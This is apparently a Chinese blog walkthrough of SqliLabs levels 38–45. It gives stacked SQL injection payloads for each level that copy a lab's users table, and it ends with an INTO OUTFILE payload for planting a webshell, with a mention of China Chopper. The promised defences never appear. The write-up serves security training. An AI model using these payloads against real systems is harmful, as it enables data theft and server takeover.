作者:创办m觉e内能h行宫 | 来源:互联网 | 2024-12-04 11:17
本文深入探讨了SqliLabs项目中的第38至45关,重点讲解了堆叠注入(StackedQueries)的应用技巧及防御策略。通过实际案例分析,帮助读者理解如何利用和防范此类SQL注入攻击。
SqliLabs第38关 - 堆叠注入基础
在第38关中,我们首先需要了解堆叠注入的基本概念,即在一个请求中执行多个SQL语句。这种技术在SQL注入攻击中非常常见,因为它允许攻击者通过一次请求完成多项操作,如创建表、插入数据等。参考文献:堆叠注入详解。
为了更好地理解堆叠注入的工作原理,我们在源代码中添加了一段用于显示SQL语句的代码,以便观察其执行过程。
第一种解决方法是使用联合查询来泄露数据:
URL示例:http://192.168.0.106:300/Less-38/?id=0' UNION SELECT 1,2,3 --+
然而,本关的主要目的是考察堆叠注入技术,因此我们采用第二种方法:
URL示例:http://192.168.0.106:300/Less-38/?id=1'; CREATE TABLE hzk38 LIKE users; INSERT INTO hzk38 SELECT * FROM users; --+
可以看到,数据库中成功创建了一个新表,并复制了所有用户信息。值得注意的是,如果只执行第一条SQL语句,则只会创建一个空表,结构与users表相同但无任何数据。
SqliLabs第39至45关 - 进阶挑战
从第39关开始,每关的任务都与前一关类似,主要区别在于SQL语句的闭合方式不同。例如,第39关:
URL示例:http://192.168.0.106:300/Less-39/?id=1; CREATE TABLE hzk39 LIKE users; INSERT INTO hzk39 SELECT * FROM users; --+
第40关:
URL示例:http://192.168.0.106:300/Less-40/?id=1'); CREATE TABLE hzk40 LIKE users; INSERT INTO hzk40 SELECT * FROM users; --+
第41关:
URL示例:http://192.168.0.106:300/Less-41/?id=1; CREATE TABLE hzk41 LIKE users; INSERT INTO hzk41 SELECT * FROM users; --+
第42关:
此关与之前的二次注入类似,但采用了堆叠注入的方式。观察源代码可知,密码字段未经过滤,因此可在此处构造注入语句。
SQL示例:a'; CREATE TABLE hzk42 LIKE users; INSERT INTO hzk42 SELECT * FROM users; #
第43关:
与第42关基本相同,区别在于ID参数的形式。
SQL示例:a'); CREATE TABLE hzk43 LIKE users; INSERT INTO hzk43 SELECT * FROM users; #
第44关:
与第42关基本相同,区别在于没有错误信息回显。
SQL示例:a'; CREATE TABLE hzk44 LIKE users; INSERT INTO hzk44 SELECT * FROM users; #
第45关:
与第42关基本相同,区别在于没有错误信息回显,同时ID参数的形式略有不同。
SQL示例:a'); CREATE TABLE hzk45 LIKE users; INSERT INTO hzk45 SELECT * FROM users; #
堆叠注入的高级应用
除了上述基本的堆叠注入外,还可以利用该技术实现更复杂的攻击,如写入Webshell。以第45关为例,可以通过注入将一句话木马写入服务器:
SQL示例:a'); SELECT '' INTO OUTFILE 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-45\mm.php' #
使用中国菜刀等工具即可获取服务器权限:
如果在尝试这些关卡时遇到数据库混乱的问题,可以在SqliLabs首页的第一行重置数据库: